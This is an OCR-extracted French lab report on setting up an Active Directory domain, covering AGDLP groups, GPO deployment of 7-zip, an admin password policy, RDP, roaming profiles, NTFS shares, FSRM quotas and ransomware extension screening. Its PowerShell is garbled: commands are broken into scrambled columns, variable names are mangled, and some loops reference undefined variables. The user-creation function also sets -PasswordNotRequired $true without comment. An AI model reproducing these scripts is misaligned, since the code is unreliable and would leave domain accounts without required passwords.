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1 Introduction

L'objectif est donc de concevoir une infrastructure Active Directory sécurisée et claire. Pour
cela on va s'appuyer sur une structure AGDLP, une protection contre le ransomware et des
démonstrations d'attaques et comment s'en protéger.

1.1 Prérequis

« Avoir installé les services AD et promu I'Active Directory
« Attribuer une IP fixe au serveur
« Avoir le Secure Boot
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2 Création de notre AD

Pour créer notre AD nous allons nous baser sur la structure AGDLP (Account G*lobal
D*omain L*ocal P*ermissions, soit Compte, Groupe Global, Groupe Domaine Local,
Permissions).

Le principe de cette structure est :

« Un utilisateur doit étre membre d'un groupe de sécurité global (GG)

« Le groupe de sécurité global doit quant a lui étre membre d'un groupe de sécurité Domain
Local que 'on nommera DL

* Le groupe de sécurité domaine local (DL) permet d'ajuster les permissions NTFS de notre
serveur de partage de fichier

2.1 Création des OUs

$baseDN = "DC=Serval,DC=int"
$0Us = @("Domain User","Groupes")

foreach ($ou in $0Us) {
New-ADOrganizationalUnit -Name ($ou) -Path $baseDN

}
$Deps = "Direction", "Compta", "RH", "Vente", "IT"

foreach ($dep in $Deps) {
New-ADOrganizationalUnit -Name $dep -Path "OU=Domain User,$baseDN"
}

New-ADOrganizationalUnit -Name "Sys ADM" -Path "OU=IT,OU=Domain User,$baseDN"
New-ADOrganizationalUnit -Name "Backup ADM" -Path "OU=IT,OU=Domain User,$baseDN"
New-ADOrganizationalUnit -Name "HelpDesk ADM" -Path "OU=IT,OU=Domain User,$baseDN"

Afin de garder une lisibilité et une maintenance simple, tous les OUs concernant les users
seront stockés dans I'OU Domain Users et tous nos groupes (DL et GG) dans I'OU Groupes.

Note

Il est possible de descendre d'un niveau en séparant dans des OUs différentes les groupes
globaux et les groupes domaine local.
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2.2 Création des groupes

$groupPath = "OU=Groupes,DC=Serval,DC=int"

# Groupes Globaux

$GGs = "GG_President", "GG_Secretaire", "GG_Comptable", "GG_Vendeur", "GG_RH",
"GG_IT_Admin", "GG_IT_Backup", "GG_IT_Helpdesk", "GG_SysADM_ADM",
"GG_IT_Helpdesk_ ADM", "GG_IT_Backup_ADM"

foreach ($gg in $GGs) {
New-ADGroup -Name $gg -GroupScope Global -Path $groupPath

}

# Groupes Domaine

Local

$DLs = "DL_Admin RW", "DL_Admin_RO", "DL_Compta_RO", "DL_RH_RW", "DL_RH_RO",
"DL_Vente_RW", "DL_Vente_RO", "DL_Clients_ RW", "DL_Clients_RO", "DL_Bilans_RW"

foreach ($dl1 in $DLs) {
New-ADGroup -Name $d1 -GroupScope DomainLocal -Path $groupPath

}

# Ajout des membres dans les groupes

Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember
Add-ADGroupMember

-Identity
-Identity
-Identity
-Identity
-Identity
-Identity
-Identity
-Identity
-Identity
-Identity

"DL_Admin_RW" -Members
"DL_Admin_RO" -Members
"DL_Compta_RO" -Members

"DL_RH_RW" -Members
"DL_RH_RO" -Members
"DL_Vente_RW" -Members
"DL_Vente_RO" -Members

"DL_Clients_RW"-Members
"DL_Clients_RO"-Members
"DL_Bilans_RW" -Members

"GG_President"
"GG_Secretaire'
"GG_President"

"GG_President",

"GG_Secretaire'
"GG_Vendeur"
"GG_Comptable"
"GG_Vendeur"
"GG_Comptable"
"GG_Comptable"

"GG_RH"

Pour conserver une maintenance durable les groupes de lecture seule seront appelés RO
(Read Only) et les droits lecture/écriture seront appelés RW (Read/Write).

Nous allons créer un groupe GG_adm_LAPS . Ce groupe servira plus tard pour la configuration

LAPS.

2.3 Création des utilisateurs

# Fonction utilitaire
function Add-User ($Name, $Sam, $0UPath, $GG) {
New-ADUser -Name $Name -SamAccountName $Sam °
-Path "OU=$0UPath,OU=Domain User,DC=Serval,DC=int" °
-Enabled $true -PasswordNotRequired $true
Add-ADGroupMember -Identity $GG -Members $Sam

}

# Direction
Add-User
Add-User

# Compta
Add-User

"Alex CONOR"
"Kate LINDSAY"

"Ilio LORENZI"

"aconor" "Direction" "
"klindsay" "Direction" "
"ilorenzi" "Compta" "GG_

GG_President"
GG_Secretaire'

Comptable"
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Add-User "Freddy KIDD" "fkidd" "Compta" "GG_Comptable"

# Vente

Add-User "Celine DIGORY" "cdigory" "Vente" "GG_Vendeur"
Add-User "Douglas BLOCK" "dblock" "Vente" "GG_Vendeur"
# RH

Add-User "Leonardo BAXTER" "lbaxter" "RH" "GG_RH"

Add-User "Jean-Charles LAFLEUR" "jlafleur" "RH" "GG_RH"

# IT

Add-User "Arthur POPOV" "apopov" "IT" "GG_IT_Admin"
Add-User "Adam HERNANDEZ" "ahernandez" "IT" "GG_IT_Admin"
Add-User "Luiz VARGAS" "lvargas" "IT" "GG_IT_Backup"

Add-User "Bill KRAKENHOOD" "bkrakenhood" "IT" "GG_IT_Helpdesk"

Nous allons ensuite créer 4 utilisateurs supplémentaires qui seront nos administrateurs pour
les membres IT. Cela permet de segmenter les droits et de ne pas utiliser les comptes
administratifs de facon déraisonnée.

Mew Object - User *

E) Create in:  servalint/Domain User/1T/Backup ADM

First name: | Luig ‘ Initials: I:I
|
|

Last name: |~.rargas

Full name: |Luis vangas

User logon name:

‘Ivargasadml | @serval int w

User logon name (pre-Windows 2000):
‘SEH‘JAL\ | |I1rargasadm

< Back Mext = Cancel

Il faut aussi les ajouter dans le groupe ADM respectif (cf TP AD) ainsi que dans le groupe
GG_adm_LAPS .
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Adam HERNAMNDEZ Properties ? X
Security Environment Sessions Remote control
Remote Desktop Services Profile COM+ Aftribute Editor

General Address  Account Profile Telephones  Organization

F‘ublishedhrl'rﬁcates Member Of  Password Replication  Dialin ~ Object

Member of
Name Active Directory Domain Services Folder
Domain Users servalint/Users
GG_adm_laps serval int/Groupes

GG_SysADM_A...  servalint/Groupes

Primary group: Domain Users

. There is no need to change Primary group unless
Set Primary Group you have Macintosh clients or POSIX-compliant

applications

0K || Cancsl || Apply Help
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3 Configuration GPO

3.1 Déployer une application Windows

Pour déployer un logiciel via les GPO, il est impératif d'utiliser un package au format .msi et
non un .exe . Dans notre cas nous allons déployer 7-zip.

3.1.1 En CLI

$FolderPath = "C:\Applications"
$ShareName = "Applications$"
$ComputersGroup = "SERVAL\Domain Computers"

New-SmbShare -Name $ShareName -Path $FolderPath -FullAccess "Everyone"
$Acl = Get-Acl $FolderPath

# Supprimer 1'héritage
$Acl.SetAccessRuleProtection($true, $true)

$Ar = New-Object System.Security.AccessControl.FileSystemAccessRule(
$ComputersGroup, "ReadAndExecute",
"ContainerInherit,ObjectInherit"”, "None", "Allow"

)

$Acl.AddAccessRule($Ar)
Set-Acl $FolderPath $Acl

Puis supprimer les ACLs users :
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Permissions for Applicationss

Share Pemmissions

GI‘OLID ar USer names:

Everyone

e
Pemigsions for Everyone Allow Deny
Full Control [l
Change O
Read O
0K | Cancel Apply

T — LOCal DEE 1T

3.1.2 En GUI

Pour cela on crée un dossier nommé Applications a la racine de notre AD. Il faut activer le
partage du dossier (Applications$).

Permissions for Applicationss X

Share Pemmissions

GI‘OLID ar USer names:

.
Pemigsions for Everyone Allow Deny
Full Control [l
Change O
Read O
OK | (Cancel | Aeply

T — LOCal DEE 1T

Puis dans I'onglet Sécurité > Avancé > désactiver I'héritage.
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Permission entries:

Advanced Security Settings for Applications

D\lsame: Ch\Applications
Owner: Administrators (SERVAL\Administrators) 83 Change
Permissions Share Auditing Effective Access

For additional information, double-click a permission entry. Te modify a permission entry, select the entry and click Edit (if available).

Type Principal
B Allow  CREATOR OWNER
B Allow  SYSTEM

Access

Full control

Full control

BR Allow  Domain Computers (SERVAL\... Read & execute
SR Allow  Administrators (SERVAL\Admi... Full control

Inherited from
MNone
MNone
MNone

MNone

Applies to

Subfolders and files only

This folder, subfolders and files
This folder, subfolders and files
This folder, subfolders and files

Add Remove

Enable inheritance

View

[ Replace all child object permission entries with inheritable permission entries from this object

Cancel Apply

Enfin, nous allons remplacer les ACLs user pour mettre le groupe Domain Computers. Sur ce
dossier nous allons y appliquer ces droits :

3.1.2.1 GPO

application Properties

General Sharng Securty Previous Versions Customize

Object name:  C:\application

Group or user names:
82 CREATOR OWNER
88 SYSTEM

Domain Computers (SERVAL\Domain Computers)

H& Administrators (SERVAL \Administrators)

X

To change pemissions, click Edit.

Pemissions for Domain
Computers

Edit...

Allow Deny

Full control

Madify

Read & execute
List folder contents
Read

Write

AN

For special pemissions or advanced settings, e

click Advanced.

Cancel Apply

1. 1l suffit ensuite de créer une GPO que je vais nommer Install 7zip
2. Il faut éditer la GPO se trouvant dans Computer — Software — New Package puis mettre

le chemin réseau \\Ldap@l.serval.int\application$\nom_app

3. Puis mettre la GPO en Assigned
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Afin d'éviter des soucis d'installation partiels, il est conseillé d'activer une autre GPO :
Admin Templates — Logon — Always wait for the network startup and logon

Il faut ensuite lier cette GPO a I'OU contenant vos PC.

3.2 PSO

Nous allons mettre une pso pour les comptes a privileges.

Les utilisateurs ciblés sont les groupes d'administration (SysADM, Helpdesk_ADM,
Backup_ADM). La priorité est de 1 (plus elle est basse, plus elle est importante). Elle sera donc
choisie en cas de conflit. Cette politique impose un mot de passe d’au minimum 24
caractéres, une rotation tous les 60 jours et un verrouillage apres 3 essais. De plus, pour
éviter un cas de bruteforce, un autre administrateur est obligé de déverrouiller manuellement
le compte.

New-ADFineGrainedPasswordPolicy -Name "PSO_Admins" °
-Precedence 1 °
-ComplexityEnabled $true °
-ReversibleEncryptionEnabled $false
-PasswordHistoryCount 24 °
-MinPasswordLength 24 °
-MinPasswordAge "1.00:00:00"
-MaxPasswordAge "60.00:00:00"
-LockoutThreshold 3 °
-LockoutObservationWindow "©0:30:00" °
-LockoutDuration "00:00:00" -ErrorAction Stop

# Application aux groupes Admins
$AdminGroups = @("GG_SysADM_ADM", "GG_IT_helpdesk_ADM", "GG_IT_backup_ADM")

foreach ($Group in $AdminGroups) {
Add-ADFineGrainedPasswordPolicySubject -Identity "PSO_Admins" -Subjects $Group
}

3.3 Accorder le RDP

Pour accorder la fonctionnalité RDP il y a 3 étapes importantes :

 Ajouter les utilisateurs au groupe Remote Desktop Users
« Activer la GPO
« Modifier les regles du pare-feu

3.3.1 En PowerShell

$Groups = @("Serval\GG_SysADM_ADM", "Serval\GG_helpdesk_ADM", "Serval\GG_Backup_ADM")

foreach ($Group in $Groups) {
Add-LocalGroupMember -Group "Remote Desktop Users" -Member $Group -ErrorAction Stop

}
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3.3.2 Via GUI

On va trouver I'OU Builtin et on ajoute nos groupes de sécurité globaux ADM.

> n
e 1L
>
! Share Permissions
Group or user names:
SR Everyone
Add... Remove
Permissions for Everyone Deny
Full Control O
Change O
Read O
QK Cancel Apply
oK Cancel Aoply | b

Il faut créer une GPO, par exemple RDP . Ensuite on active la GPO dans :

Computers conf > Strategies > Template administration > Windows composants > Remote
Desktop Service > Allow users to connect remote users by using Remote Desktop Service

A& Allow users to connect remotely by using Remote Desktop Services m] *

E‘ Allow users to connect remotely by using Remote Desktop Services Trmima S Next Setting

(O Not Configured Comment:
| ® Enabled
) Disabled
SUPPOtEc oN: [ At [east Windows Server 2003 operating systems or Windows XP Professional
Opticns: Help:

This policy setting allows you te configure remote access to [l
computers by using Remote Desktop Services,

If you enable this policy setting, users who are members of the
Remote Desktop Users group on the target computer can
connect remotely to the target computer by using Remote
Desktop Services.

If you disable this pelicy setting, users cannot connect remotely
to the target computer by using Remote Desktop Services, The
target computer will maintain any current connections, but will
not accept any new incoming connections.

If you do not configure this pelicy setting, Remote Desktop
Services uses the Remote Desktop setting on the target computer
to determine whether the remote connection is allowed. This
setting is found on the Remote tab in the System properties
sheet. By default, remote connections are not allowed.

Mote: You can limit which clients are able to connect remotely by
using Remote Desktop Services by configuring the policy setting
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Cette GPO permettra d'activer cette option dans Windows et de la bloquer. Toujours dans la

GPO, il faut se rendre dans :

Computer configuration > Security setting > Windows Defender Firewall

ﬂ Mew Inbound Rule Wizard

Rule Type
Select the type of firewall rule to create

Steps:
» Rule Type What type of rule would you like to create?
@ Predefined Rules
@ Action ) Program
Rule that controls connections for a program
) Port
Rule that controls connections far a TCP or UDP port.
®) Predefined:
Remote Desktop

Rule that controls connections for a Windows experience

(O) Custom
Custom rule.
< Back Meat > Cancel

= Group Policy Management Editor — x
File Action View Help
9| x5 =H
=] RDP [LLDAPD1.SERVAL.INT] Policy A || Mame Group Profile
v i C_F'";pr't_er Configuration 0 Remote Desktop - User Mode (UDP-In) Remote Desktop All

M _0 I;I::w et & Remote Desktop - User Mode (TCP-In) Remote Desktop All

| @ottware 'ngs 0 Remote Desktop - Shadow (TCP-In) Remote Desktop All

v | Windows Settings
| Name Resolution Policy
= Scripts (Startup/Shutdown)
W _E Security Settings
_:|:=.| Account Policies
i Local Policies
j Event Log
& Restricted Groups
5 System Services
& Registry
& File System
o Wired Network (IEEE 802.3) Policit
v [ 7] Windows Defender Firewall with £
v @ Windows Defender Firewall wi
&3 Inbound Rules
&% Outbound Rules
h__ Connection Security Rules
| Metwork List Manager Policies
;;.gf Wireless Network (IEEE 802.11) Po
~| Public Key Policies

>

w

Derniére étape : ajouter le groupe Remote Desktop Users dans la catégorie Restricted
Groups. Cela permet d'injecter nos groupes AD directement dans les groupes locaux des PC.
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=l Group Pelicy Management Editor

5| File Action View Help
e | 0w XE = Hm
=[ RDP [LLDAPO1.SERVAL.INT] Policy
w & Computer Configuration
w [ 7] Policies
*| Software Settings
~ [ Windows Settings
~| Mame Reselution Policy
| Scripts (Startup/Shutdown)
v _i Security Settings
_:El Account Policies
j:] Local Policies
i Eventlog
1 Restricted Groups
= System Services
= Registry
 File System
Zuf Wired Network (IEEE 802.3) Policies
_| Windows Defender Firewall with Advanced S
| _| Network List Manager Policies
;ﬁg Wireless Metwork (IEEE 802.11) Policies
| Public Key Palicies
_| Software Restriction Policies
| Application Control Policies
\g IP Security Policies on Active Directory (SERV,
| Advanced Audit Policy Cenfiguration >

A [1"Group Name Members Member Of

%Administrators
emote Desktop Users

SERVAL\GG_SysAl

Ensuite lier la GPO a I'OU,on peut voir que notre admin peut se connecter.

~ ) A |

O Type here to search

3.4 Profils itinérants

Pour cette étape nous allons devoir créer un groupe Domain Local que I'on nommera
DL_Profil RW ainsi qu'un dossier qui devra étre partagé a tous nos users.

15 2025-2026
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DL_PROFIL_RW Properties ? X

General  Members Member Of Managed By

% DL_PROFIL_RW

Group name (pre-Windows 2000 |DL_PROFIL_RW| |

Description: | |
E-mail: | |
Group scope Group type
(®) Domain local (®) Security
Global () Distribution
() Universal
Notes:

Ensuite créer un dossier Profils et le partager comme ceci :

Profils Properties >

| Advanced Sharing X
General Shat T

Metwork Filg Share this folder

Pr Settings
N Share name:
Network Pa | Profileg |
Not Shared
add Remove
Share..l
| Limit the number of simultaneous users to: 16777 =
q
Advanced § Comments:
Set custom
advanced §
) Adva
| Permissions Caching

rver 2022 Stanc

Aller ensuite dans permission et accorder tout les droits a Everyone, la gestion des acces se
fera via les ACLs.
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Shares Properties x

Rt |
Permissions for Shares$ >
Share Permissions
Group or user names:
“E\reryone
| Add || Remove |
Permissions for Everyone Allow Deny
Full Cortral | 1
Change | O
Read %] O
| ok || Camcel || Apply
| ok || camcel || ey

On va ensuite désactiver I'héritage et ajouter les droits a notre groupe de sécurité.

Advanced Security Settings for Profils m] x ~ @
isk (C:) -l
Name: C:\Profils
Owner: Administrators (SERVAL\Administrators) ) Change i
Permissions. Share Auditing Effective Access
For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available). ®

Permission entries:
Previous Versions  Customize

Type Principal Access Inherited from Appliesto
8% Allow  SYSTEM Full control MNone This folder, subfolders and files
5B Allow  Administrators (SERVAL\Admi...  Full control MNone This folder, subfolders and files
82 Allow  Users [SERVAL\Users) Read & execute None This folder, subfolders and files
SR Allow  Users (SERVAL'Users) Special Mone This folder and subfolders
8% Allow  CREATOR OWNER Full control None Subfolders and files only AL\Administrators)
]
ek Edit EE"“

A
Enable inheritance

[[]Replace all child object permission entries with inheritable permission entries from this object

oK || Cancel || mppy |

v

For special pemissions or advanced settings,
click Advanced. Advanced

Titems 1 item selected

Cloze Cancel Apply

Ensuite ajouter les droits au groupe DL_Profil RW comme ceci :
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Principal:  DL_PROFIL_RW (SERVAL\DL_PROFIL_RW) Select a principal

| Type: Allow

|| Appliesto: |This folder only

Advanced permissions:
[] Full contral
[[] Traverse folder / execute file
List folder / read data
[[] Read attributes
[]Read extended attributes
[[] Create files / write data
Create folders / append data

Only apply these permissions to ohjects and/or containers within this container

~

Show basic permissions
[] Write attributes
[ Write extended attributes
[[] Delete subfolders and files
[ Delete
[ Read permissions
[[] Change permissions
[] Take ewnership

Clear all

| Add a condition te limit access. The principal will be granted the specified permissions only if conditions are met.

| Add a condition

| ok || Concel

Enlever les lignes concernant Users sur la sécurité.

Advanced Security Settings for Profils

Mame: CM\Profils
Owner: Administrators (SERVAL\Administrators) g Change
Permissions Share Auditing Effective Access

For additional information, deuble-click a permission entry. Te modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal
S8 Allow  SYSTEM

SR Allow  CREATOR QWMER

S8 Allow  Administrators (SERVAL\Adrni...

SR Allow  DL_PROFIL_RW (SERVAL\DL_P...

Access

Full control
Full control
Full contrel

Special

Inherited from Applies to

Mone This folder, subfolders and files
Mone This folder, subfolders and files
Mone Subfolders and files only
Mone This folder only

Add Remove

Enable inheritance

Edit

[]Replace all child object permission entries with inheritable permission entries from this object

famzd Apply

La deuxieme étape est de créer la GPO :
Computer Configuration > Strategies > Template Administratives > System > Users

Profils

On active la GPO Do not check for user ownership of Roaming Profile Folders .
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& Do not check for user ownership of Roaming Profile Folders m}

E Do not check for user ownership of Roaming Profile Folders

(O Not Configured Comment:
(®) Enabled

() Disabled
Supported on:

Options:

Previous Setting Next Setting

At least Windows Server 2003 operating systems, Windows XP Professional
Service Pack 1, or Windows 2000 Service Pack 4

Help:

This policy setting disables the more secure default setting for
the user's roaming user profile folder,

After an administrator has configured a user's roaming profile,
the profile will be created at the user's next login. The profile is
created at the location that is specified by the administrator.

For Windows 2000 Professional pre-5P4 and Windows XP pre-SP1
operating systems, the default file permissions for the newly
generated profile are full control access for the user and no file
access for the administrators group. Mo checks are made for the
correct permissiens if the profile folder already exists, For
Windows Server 2003 family, Windows 2000 Professional 5P4 and
Windows XP 5P1, the default behavior is to check the folder for
the correct permissions if the profile folder already exists, and
not copy files te or from the roaming folder if the permissions
are not correct.

By cenfiguring this policy setting, you can alter this behavior.

If you enable this policy setting Windows will not check the

Et on la lie dans I'OU de nos ordinateurs.

I———— | C——

v A\ Forest servalint
« [} Domains
v &4 servalint
4/ Default Domain
5] Domain Contro

Domain User
57 Groupes
Fillle
] Profils_itiner|
%5 Group Policy O
15 Default Dom|
Default Dorr|
1] Map_NTFS
=] Profile_tiner
¥ WMI Filters
1 Starter GPOs
B Sites
4 Group Policy Modeling
% Group Policy Results

<

<

Linked Group Policy Objects  Group Pelicy Inhertance  Delegation

2 Group Policy Management X
[ File Action View Window Help - &%
= nH 0/ XE 6 HBE

|5 Group Policy Management  |[pg

LriOrder  GPO
1 i Profils_itinerant

Erforced
Ne

Link Enabled GPO Status WMI Fiter Modified Domain

Yes

Enabled None 18/03/20... servalint

Derniere étape : ajouter dans |'onglet Profile de |'utilisateur :

\\LLDAP@1.serval.int\Profils$\%username%
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Member Of Dial+n Environment Sessions
Remote control Remote Desktop Services Profile COM+
General Address Account Profile Telephones Organization
User profile
Profile path: |'-.'-.LLDAPD‘I serval int\Profils$" “usemame % |
Logon script: | |
Home folder
(@) Local path: | |
(O Connect
QK Cancel Apply Help
$Users = Get-ADUser -Filter * -SearchBase "OU=Domain User,DC=serval,DC=int"
$namesrv = "LLDAP@l.serval.int"

foreach ($U in $Users) {

Set-ADUser $U -ProfilePath "\\$namesrv\$ShareName\$($U.SamAccountName)"
Add-ADGroupMember -Identity $GroupName -Members $U

3.5 SHARES

Pour créer nos partages il nous faudra créer les dossiers, gérer les droits et mapper les

lecteurs réseau. Pour gérer les droits nous allons procéder en 2 grandes étapes :

» La création des dossiers et son administration
+ Le déploiement des acces réseau via GPO

3.5.1 Création des dossiers et permissions

New-Item IT, Compta, RH, Administration, RH/Bilans, RH/Client, RH/Ventes -ItemType

Directory

Gérer les permissions :

function Set-ACL-Custom ($Folder, $DLGroup, $Mode) {

$Path = "$Root\$Folder"
icacls $Path /inheritance:d

if ($Mode -eq "RW") {
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icacls $Path /grant "SERVAL\$($DLGroup):(OI)(CI)M"

} else {

icacls $Path /grant "SERVAL\$($DLGroup):(0I)(CI)R"

}

# Application des droits

Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom
Set-ACL-Custom

"Administration”
"Administration”

"Comptabilite"
"RH"

"RH"

"Vente"
"Vente"
"Clients"
"Clients"
"Bilans"

"DL_Admin_RW"
"DL_Admin_RO"
"DL_Compta_RO"
"DL_RH_RW"
"DL_RH_RO"
"DL_Vente_RW"
"DL_Vente_RO"

"R"
"RO"
"RO"
"R"
"RO"
S
"RO"

"DL_Clients_RW" "RW"
"DL_Clients_RO" "RO"

"DL_Bilans_RW"

"RW"

Il s'agit ici des permissions NTFS (New Technology File System). Maintenant il faut partager ce

fichier aux users.

Settings

Add

Advanced Sharing

Share this folder

Share name:

Sharess

Remove

Limit the number of simultaneous users to:

16777 =

Comments:
Permissions Caching
Cancel Apply
Close Cancel Apply
Et I'on désactive I'héritage.
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Advanced Security Settings for Shares

Mame: C\Shares
Owner: Administrators (SERVAL\Administrators) ) Change
Permissions Share Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from Applies to
8% Allow  Authenticated Users Read & execute Mone This folder, subfolders and files
SR Allow  SYSTEM Full control Mone This folder, subfolders and files
SR Allow  Administrators (SERVALVADm...  Full control Mone This folder, subfolders and files
82 Allow  CREATOR OWMER Full control Mone Subfolders and files only

Add Remaove View

Enable inheritance

[]Replace all child object permission entries with inheritable permission entries from this object

Cancel Apply

3.5.2 Mapper les lecteurs réseau

Pour créer notre GPO utilisateurs ;: User Configuration > Preferences > Windows Setting >

Mappages de lecteurs

Il faut ensuite créer notre lecteur en mode UPDATE.

H: Properties

General  Common

q} :: Action:  |Update

Location: | WLDAPD1\Sharess

Reconnect: [ |  Labelas: |

Drive Letter

(O Use first available, starting at: (@) Use: =H

Connect as (optional)

User narne:
Password:

Hide/Show this drive Hide/Show &ll drives
(®) No change (®) No change
() Hide this drive () Hide all drives
() Show this drive () show all drives

Cancel Apoly

Help

Note
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Il est aussi possible de faire un mappage pour chaque dossier.

3.6 Client

3.6.1 Prérequis

+ Avoir la machine jointe au domaine

Lorsque la GPO du mappage réseau est active on le voit dans I'explorateur de fichiers.

B[4 s |ThisPC
Computer View

<« v 4 > ThisPC »

v 3 Quick access  Folders (7)

[ Desktop - 3D Objects
* Downloads * = -
|| Documents b . Documents
=/ Pictures b ==
J‘s Music
M
B videos ﬁ usie
@ OneDrive
Videos
> [ ThisPC ﬁ
¥ Network ~ Devices and drives (2)
Local Disk (C:)
T |
[ I
30.5 GB free of 59.3 GB
~ Network locations (1)
Shares$ (WLLDAPDIT) (H:)
|
?-'.r 51.1 GB free of 63.3 GB
10 iterns

~ O

Search This PC

Desktop

L
; Downloads

Pictures

i

7 CD Drive (D)
CCCOMA_XBAFRE_EN-US_DV9
0 bytes free of 5.71 GB

Aprés un peu de temps on peut vérifier la présence de 7-zip.
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&2 7-Zip
File Edit View Favorites Tools Help

o= v o o= X

Add  Extract Test Copy Move Delete

2 |

Name

EComputer
@ Documents
¥ Network
@

0/ 4 object(s) selected

On vérifie que la synchronisation des profils itinérants fonctionne bien.

| -

testfsrm

P Home Share View

»*

Pin to Quick| Copy
access

Cut
u d Move to X Delete =~
u-| Copy path
Paste opy te
E] Paste shorteut BT EEane
Clipboard Organize

€ v

# Quick access

[ Desktop

< Downloads

|£| Docurnents

| Pictures
Applications

“am Local Disk (C:)
System32

& ThisPC

[? Network

« Profils + apopov.V6 » Documents » testfsrm

~
Mame

D Fichier_01.truc
[7] Fichier_01.truc2
D Fichier_02.truc
[7] Fichier_02.truc2
D Fichier_03.truc
[7] Fichier_03.truc2
D Fichier_04.truc

% % oW

3.7 Configuration de FSRM

Tout d'abord il faut installer le service FSRM soit depuis le Server Manager soit en PowerShell

- L ps
- Cpen Select all
g @ H
- Edit Select none
New Properties
folder pv DDIn\fert selection
New Cpen Select
v O Search testfsrm pel
Date modified Type Size
04/04/2026 15:37 TRUC File 02 400 KB
TRUC2 File 102 400 KB
TRUC File 102 400 KB
TRUC2 File
TRUC File
TRUC2 File
TRUC File 102 400 KB

Install-WindowsFeature -Name FS-Resource-Manager -IncludeManagementTools

Pour créer les quotas il faut ouvrir la console FSRM fsrm.msc et créer un quota comme ceci
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Create Quota

I Quota path:

[coPlagisy

(7) Create quata on path

Quota properties

I,

You can either use
quota properties.

from & quota temp

How do you want to configure quota properties?
(® Derive properties from this quota template (recommended):
5 GB Limit o

Summiary of quota properties:

(@ Auto apply template and create quotas on existing and new subfolders

or define custom

Browse...

=) Auto Apply Quota: C:\Profils’.”

Source template: 5 GB Limit

Limit: 5,00 GB {Hard)

[=1- Notification: 4

‘Waming(85%); Email
Waming(95%): Email, Event log

Cancel

Il est important de ne pas choisir la premiere option car sinon on bloque la synchronisation
de tous les profils a 5 GB et non pas a 5 GB par utilisateur.

Note

Il est possible de créer des alertes autres que des Event Logs comme des mails, ce qui rend les
alertes beaucoup plus visibles.

53 File Server Resource Manager - X
File Action View Help
& nmE
3 File Server Resource Manager (Local) || Fiter: Show all: 3items. Actions
v 55 Quota Quotas -
3 Quotas Quota Path % Us... | Limit | Quota Type Source Template | Match Tem... | Descripti..
3] Quota Templates 5 Quota Type: Hard (Auto Apply) (1 item) ® Create Quota..
5 File S G
5 File Screening = - |G Refresh
{1 storege Reports Mansgement 5 CAProfilsy S00GB  Hard (Auto Apply) 5 GB Limit Yes . ,
X ew
& Classification Management 5 Quota Type: Hard @ items)
b File Management Tasks Help
B CA\Profils\apopovadm.V6 0% 50068 Hard 5 GB Limit Ves
B CA\Profils\apopov.Ve 0% 50068 Hard 5 GB Limit Ves
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3.7.1 Verifier la configuration FSRM

$path = nn
$taille = 100MB
$nb = 55

for ($1 = 1; $i -le $nb; $i++) {

$NomFichier = "$path\Fichier_$($i.ToString('e0')).truc"

try {

$Flux = [System.IO.File]::Create($NomFichier)
$Flux.SetLength($taille)

Start-Sleep -Milliseconds 100

Write-Host "Message du serveur

$Flux.Close()
}
catch {

break
}

$($_.Exception.Message)"

Pour vérifier le hard quota mis en place on lance un script qui écrit 55 fichiers de 100MB afin
de voir déclenché le quota Résultat d’'un hard quota :

| d = | testfsrm
Home Share

< v » ThisPC » Documents » testfsrm

7 Quick access
[ Desktop

‘ Downloads
|if| Documents

| Pictures
Jﬁ Music
m Videos

@ OneDrive
[ This PC

¥ Metwork

View

Mame

d Fichier_07.truc
| Fichier_0.truc2
| | Fichier_02.truc
d Fichier_02.truc2
d Fichier_03.truc
| Fichier_03.truc2
|j Fichier_0d.truc
| Fichier_04.truc2
| Fichier_05.truc2
|7 Fichier_06.truc2
| Fichier_07.truc2
| Fichier_08.4ruc2
| | Fichier_09.truc2
| Fichier_104ruc2
| Fichier_11.truc2
| Fichier_12.truc2
|7 Fichier_13.4ruc2
| Fichier_14truc2
| BErRe G et

‘ 5% items 39 itemns selected 5.76 GB

-~

Search testfsrm
Date modified

4/5/2026 12:37 AM
026 12:52 AM

5/2026 12:37 AM
0261252 AM

026 12:52 AM
026 12:37 AM
026 12:52 AM
026 12:52 AM
/2026 12:52 AM
/52026 12:52 AM
4/5/2026 12:52 AM
/5/2026 12:52 AM
/2026 12:32 AM
0261252 AM
026 12:52 AM
026 12:53 AM
026 12:53 AM
NJA 13.52 ARA

Type

TRUC File
TRUC2 File
TRUC File
TRUCZ File
TRUC File
TRUC2 File
TRUC File
TRUCZ File
TRUC2 File
TRUCZ File
TRUCZ File
TRUC2 File
TRUC2 File
TRUCZ File
TRUC2 File
TRUC2 File
TRUCZ File
TRUCZ File
TRIICT File
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Your roaming user profile was not completely
synchronized. See the event log for details or contact
administrator.

On peut voir qu’on a bien 55 fichiers de T00MB soit plus que le quota de 5GB, cela est du
que FSRM la gpo des profils ce synchronise uniquement a la déconnexion de I'utilisateur. |l
est important de clarifier que FSRM ne permet pas de ralentir le chiffrement, il permet
seulement de limiter a la taille du quota.

3.8 Configuration du File Screening

Tout d'abord pour créer notre File Screening, il va nous falloir créer un groupe d’extensions
puis I'ajouter a notre template.

3!3 File Server Resource Manage

File Action View Help
&=z

é File Server Resource Manager (Local)
Q Quota Management
v a? File Screening Management
H_& File Screens
E File Screen Templates
u;; File Groups
ﬂ Storage Reports Management
=il Classification Management
"% File Management Tasks

File Groups
| p:

Audio and Video Files

| Include Files

*.aac,

*.aif, *.aiff, *.asf, *.asx, *.au, *.avi, * flac, *.m3y, *.mi...

L
] Ea(kLRF\Ies *bak, “hek *hif * ald
O Cumpﬁ‘g“ed Files *ace, Create File Group Properties
L] E-mail Files *eml, Settings
| ExecutableFiles *bat, File group name:
T
L ImageFiles *bmp Rar
L Office Files *accd o select a set of files, type a file name pattem, and click Add
N Examples: *.exe or Q4FY2002"."
| System Files *.acm,
L Temporary Files *tem Files to include
| Text Files *.asc,
] Web PageFiles *asp, “wannacry

Files to exclude:

Cancel
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Voici comment importer un fichier texte contenant les extensions connues (par exemple

depuis KnowExtensionRansomwares) :

$PathToFile "C:\Users\Administrator\Downloads\KnownExtensions.txt"
$GroupName = "KnowExtensitionRansomwares"

